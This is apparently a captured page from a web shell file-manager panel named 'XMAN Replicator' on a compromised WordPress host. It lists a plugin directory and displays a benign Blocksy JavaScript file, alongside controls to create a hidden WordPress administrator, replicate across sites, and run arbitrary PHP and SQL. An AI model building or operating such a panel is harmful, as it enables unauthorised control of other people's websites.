🛸 XMAN Replicator
English
Русский
Français
Quit
Path:
/
home
/
vestsxzf
/
public_html
/
wp-content
/
plugins
/
blocksy-companion
/
static
/
js
/
editor
/
utils
/
📋 نشر إلى المواقع
👤 إنشاء مشرف WP
Upload
Make directory
Name
Size
Rights
Date
Actions
[.]
<DIR>
drwxr-xr-x
2026-03-27 10:26
🔄
🗑️
🗑️📁
⬇️
🔒
[..]
<DIR>
drwxr-xr-x
2026-03-27 10:26
🔄
🗑️
🗑️📁
⬇️
🔒
colors.js
174 B
-rw-r--r--
2026-03-27 10:26
✏️
🔄
🗑️
⬇️
🔒
css.js
1,144 B
-rw-r--r--
2026-03-27 10:26
✏️
🔄
🗑️
⬇️
🔒
View: css.js
import { createElement, memo, useState, RawHTML, Fragment, } from '@wordpress/element' import { syncHelpers } from 'blocksy-options' import { nanoid } from 'nanoid' export const getStylesForBlock = (variables, cssURLs = []) => { let result = '' const cacheId = nanoid() const commonArgs = { cacheId, initialStyleTagsDescriptor: [ { readStyles: () => { return '' }, persistStyles: (newCss) => { result = newCss }, }, ], } const astDescriptor = syncHelpers.getStyleTagsWithAst(commonArgs) variables.map((variableDescriptor) => { let ast = syncHelpers.getUpdateAstsForStyleDescriptor({ variableDescriptor: variableDescriptor.variables, value: variableDescriptor.value, fullValue: {}, ...commonArgs, }) syncHelpers.persistNewAsts(cacheId, ast) }) let styles = result ? <style>{result}</style> : null cssURLs = [ (window.ct_localizations || window.ct_customizer_localizations) .backend_dynamic_styles_urls.flexy, ] return ( <Fragment> {styles} {cssURLs.map((url) => { return <link key={url} rel="stylesheet" href={url} /> })} </Fragment> ) }
PHP Console
Execute
SQL Console
Execute